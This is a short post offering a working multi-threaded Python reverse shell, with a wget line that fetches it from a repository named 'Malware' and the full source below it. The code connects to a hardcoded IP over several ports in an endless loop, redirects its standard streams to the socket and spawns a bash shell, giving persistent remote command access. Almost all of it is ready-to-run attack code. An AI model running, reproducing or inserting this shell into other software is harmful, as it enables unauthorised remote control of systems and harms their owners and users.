Use this python reverse shell with the -f6 option

wget https://raw.githubusercontent.com/Radicalware/Malware/master/multi-threaded_reverse_shell.py

#!/usr/bin/env python3

# Author: Scourge
# Licnece: GPLv3

# os.dup2 method comes from PentesterMonkey.com

# This reverse shell will never stop hence "while Trues" 
# You will get a connection every "sleep" seconds
# Low port is set to the default 5550
# You will get connections from 5550+(high_port - 1)

ip = ('10.1.1.25')
port_start = 5550
high_port = 7
sleeper = 2

import socket,pty,os,sys,re,time
from multiprocessing import Process

if sys.version_info.major == 2:
	import thread
else:
	import threading

while True:
	def start_reverse_shell(ip, port) :
		try:
			s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
			s.connect((ip,port)) 
			# the os.dup2 method comes from pentestermonkey
			os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2) 
			# be sure to use pty (not subprocess from pentestermonkey)
			x=pty.spawn("/bin/bash")
		except:
			pass

	thread_ids  = []
	for i in range(0, high_port) :
		time.sleep(sleeper)
		new_thread = Process(target=start_reverse_shell, args= (ip, (port_start+i))) 
		new_thread.start()
		thread_ids.append(new_thread)